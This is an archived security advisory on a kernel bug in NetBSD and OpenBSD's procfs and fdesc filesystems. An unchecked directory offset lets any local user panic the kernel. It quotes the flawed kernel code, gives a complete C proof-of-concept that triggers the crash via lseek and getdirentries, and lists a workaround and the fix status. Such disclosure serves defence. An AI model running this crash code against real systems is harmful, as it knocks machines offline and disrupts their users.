COMMAND

    kernel (procfs/fdesc)

SYSTEMS AFFECTED

    NetBSD, OpenBSD

PROBLEM

    cstone  found  a  nasty  bug  in  the fdesc and procfs filesystems
    included  with  NetBSD  and  OpenBSD.   Any  user with access to a
    mounted procfs/fdesc filesystem has the ability to cause a  kernel
    panic.  The  problem is that  the readdir vnodeop  for both procfs
    and  fdesc  blindly  uses  the  value  of element uio_index of the
    struct uio (passed in by VOP_READDIR()) as an index into an array,
    without first  properly checking  its size.   sys_getdirentries(),
    which  calls  VOP_READDIR(),  sets  uio_index  to  the open file's
    f_offset, which is modified by lseek (among other things).  Here's
    an  illustration,   taken  from   procfs_readdir()  in   OpenBSD's
    procfs_vnops.c:

	if (uio->uio_resid < UIO_MX)
	    return (EINVAL);
	if (uio->uio_offset < 0)
	    return (EINVAL);

	error = 0;
	i = uio->uio_offset;

    [...]

	    for (pt = &proc_targets[i];
		 uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
		if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
		    continue;

    One  way  for  a  user  to  take  advantage  of this problem is as
    follows:  a user opens either a process-specific subdirectory  (in
    the case of procfs) or the root directory (in the case of  fdesc).
    The  user  then  sets  the  file  offset  to an unreasonably large
    (positive)   number   with   lseek().    The   user   then   calls
    getdirentries().  A temporary solution is to unmount all instances
    of procfs and fdesc.   This is not likely to  detrimentally affect
    anything.   Here's example  code that  tries getdirentries() calls
    on directories  after lseek()ing  to high  offsets.   (warning: if
    your system is vulnerable, this  is very likely to cause  a kernel
    panic)

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <dirent.h>

    main(int argc, char *argv[]) {
	int dirfd;
	unsigned long basep;
	unsigned long hmm;
	char buf[2048];

	if(argc < 2) {
	    fprintf(stderr, "usage: %s directory\n", argv[0]);
	    exit(1);
	}

	if((dirfd = open(argv[1], O_RDONLY)) == -1) {
	    perror("open");
	    exit(1);
	}

	for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
	    if(lseek(dirfd, hmm, SEEK_SET) == -1) {
		perror("lseek");
		exit(1);
	    }

		    /* address won't effectively change, but index variable used as a test
		     * will be very large; kernel's loop should continue and break
		     * something
		     */
	    if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
		perror("getdirentries");
		exit(1);
	    }
	}
	    exit(0);
    }

    This problem  has existed  since at  least as  far back as OpenBSD
    2.3 and NetBSD 1.3.2.

SOLUTION

    Both NetBSD and OpenBSD have been contacted about this.  This  has
    been fixed  in the  current OpenBSD  tree and  should soon be able
    from your nearest anoncvs server.